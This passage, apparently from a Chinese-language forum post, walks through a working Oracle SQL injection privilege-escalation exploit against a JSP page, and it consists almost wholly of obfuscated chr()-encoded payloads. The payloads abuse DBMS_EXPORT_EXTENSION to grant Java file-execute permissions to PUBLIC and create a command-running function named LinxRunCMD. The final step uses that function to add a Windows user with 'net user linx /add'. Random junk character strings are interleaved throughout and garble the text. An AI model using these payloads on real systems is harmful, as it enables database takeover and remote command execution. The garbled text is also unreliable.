1 b# T9 T! p% t- A" gchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)" q) V( N) i& {/ e \
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual4 G7 Z. f) d; `0 i3 Z7 F! M L" v) c& Y
& u3 b$ E! ^* S& X, v" ~* y& i; i0 W2 h)2 z: |, F6 a9 w& B0 _5 q
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8 I) [5 {# W* O; q2.赋Java权限
# ^9 }, j F0 G \0 V/xxx.jsp?id=1 and chr(49)<>chr(50)||(. K, @, a( {. ]% }0 q
* F- C5 ?% X' H0 e1 D5 |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),+ r" U5 }# k# G0 ?6 ?/ F& S* W# |8 L
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||- _- `7 @3 ]4 i/ o; }
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||" Z" \. ^! O4 E6 _! R- C0 E
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||5 H& X0 z6 ?( X* ]2 \2 D6 ?
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||) m, W" ^1 D2 Q% ~
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||; b0 e5 o* t2 n5 K4 c0 I0 X# o2 Q
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
. Q: `& \( S+ y# Y5 m$ Ichr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
7 z% x# l9 \% Z0 `chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||# U* w% S& E7 ?6 l
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
6 E3 ^" `; m% F% m) C,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual' h8 l& ~5 p3 X; ?" U! O
0 j# I2 h# \; v$ Z- G)) w+ i9 Z- |3 i, l+ X! c
* ~% g8 s i9 y* Rreadfile函数的ascii版就不写了,见谅。
- `3 ]# T- ^ ?% |2 k! M
! q7 g8 r `! w% P, C3.创建函数/ k- n2 ]$ u5 i" [
" k# E8 I2 j) |" [% w+ zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),% ]5 X8 C1 l1 H( ~
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
1 O7 r+ g5 g1 s& P) e5 Bchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||8 p. A0 q& w5 r; [* k
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
! P5 a4 ~' j; u: c9 U& W$ M& T5 }chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||* B9 ^& Z3 g. }: T, k' G& P) f
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||1 E1 I- x0 {+ J/ Z, x
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
' N3 s& m/ _% y. Echr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
4 Z% X9 C" p9 h' r6 T1 ychr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||* E& r$ T3 R$ b
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
0 L: G! s% L jchr(59)||chr(45)||chr(45). S' W2 l# c& |9 n/ ~
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
, V7 b: ~# W/ V7 h* `! z( ]3 ]" T r
7 E0 ~5 `# I) V
: P% f! y5 J0 }+ K4.赋public执行函数的权限0 S. f# o" X- u( U
f: A3 \# [! j g: j' M8 {% t, f
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
w. Q2 Q; ~; u1 J: I |chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
2 m( ?. t# f# g3 kchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
9 J( i( A- Q5 T9 f6 s/ K- Qchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
7 R4 h Q5 Q& lchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
/ x% C6 }+ N) A9 wchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||, C3 ~( s2 ]: j9 p% K" r* n9 f
chr(59)||chr(45)||chr(45)
4 L1 J8 K* T2 k,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
- ?; {7 P% ^8 {0 q. A9 |# i1 s' k6 U9 z3 h
# s5 D% M; y& l. m5 U c0 }( t; i
$ P- d% t4 c' p6 j8 b* l: u5.执行命令:
6 d& w" ]9 C* t% t6 ]8 @0 I9 I7 U# ^5 o' J% ?- O) p* V3 l3 d
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
% k0 \, O3 K) C! p/ J4 `select sys.LinxRunCMD('cmd /c net user linx /add') from dual
$ m2 N* W& T0 J: ^9 W4 ^0 \- E)8 ?+ }" s; g2 \' R6 P: v$ R
! u2 F( u! P' r. V4 A即+ `( e9 h" {7 p4 t/ g
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
6 A+ {/ B% j' j: C# Q! Wselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual, D+ F% w- {8 [# I
)
8 O9 s6 S @( [! b |